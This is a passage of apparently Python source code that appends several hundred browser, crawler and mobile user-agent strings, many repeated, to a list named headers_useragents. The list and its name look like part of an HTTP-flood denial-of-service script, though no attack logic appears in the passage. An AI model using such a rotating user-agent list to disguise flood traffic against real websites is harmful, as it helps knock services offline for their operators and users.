(Macintosh; Intel Mac OS X 10_9_3) AppleWebKit/537.75.14 (KHTML, like Gecko) Version/7.0.3 Safari/7046A194A') headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 3.55)') headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 2.00)') headers_useragents.append('Mozilla/5.0 (PLAYSTATION 3; 1.00)') headers_useragents.append('Mozilla/5.0 (Windows NT 6.3; WOW64; rv:24.0) Gecko/20100101 Thunderbird/24.4.0') headers_useragents.append('Mozilla/5.0 (compatible; AbiLogicBot/1.0; +http://www.abilogic.com/bot.html)') headers_useragents.append('SiteBar/3.3.8 (Bookmark Server; http://sitebar.org/)') headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)') headers_useragents.append('iTunes/9.0.3 (Macintosh; U; Intel Mac OS X 10_6_2; en-ca)') headers_useragents.append('Mozilla/4.0 (compatible; WebCapture 3.0; Macintosh)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (FM Scene 4.6.1)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.9.2.3) Gecko/20100401 Firefox/3.6.3 (.NET CLR 3.5.30729) (Prevx 3.0.5) ') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.8.1.8) Gecko/20071004 Iceweasel/2.0.0.8 (Debian-2.0.0.6+2.0.0.8-Oetch1)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; {1C69E7AA-C14E-200E-5A77-8EAB2D667A07})') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; acc=baadshah; acc=none; freenet DSL 1.1; (none))') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.51') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; snprtz|S26320700000083|2600#Service Pack 1#2#5#154321|isdn)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Alexa Toolbar; mxie; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0') headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g') headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)') headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)') headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0') headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10') headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)') headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16') headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7') headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007') headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)') headers_useragents.append('Googlebot/2.1 (http://www.googlebot.com/bot.html)') headers_useragents.append('Opera/9.20 (Windows NT 6.0; U; en)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)') headers_useragents.append('Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16') headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7') headers_useragents.append('Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)') headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)') headers_useragents.append('YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0') headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g') headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)') headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)') headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0') headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10') headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)') headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16') headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7') headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)') headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)') headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007') headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179') headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E') headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)') headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)') headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0') headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g') headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)') headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)') headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)') headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)') headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)') headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)') headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10') headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4') headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0') headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10') headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)') headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)') headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)') headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16') headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1') headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)') headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 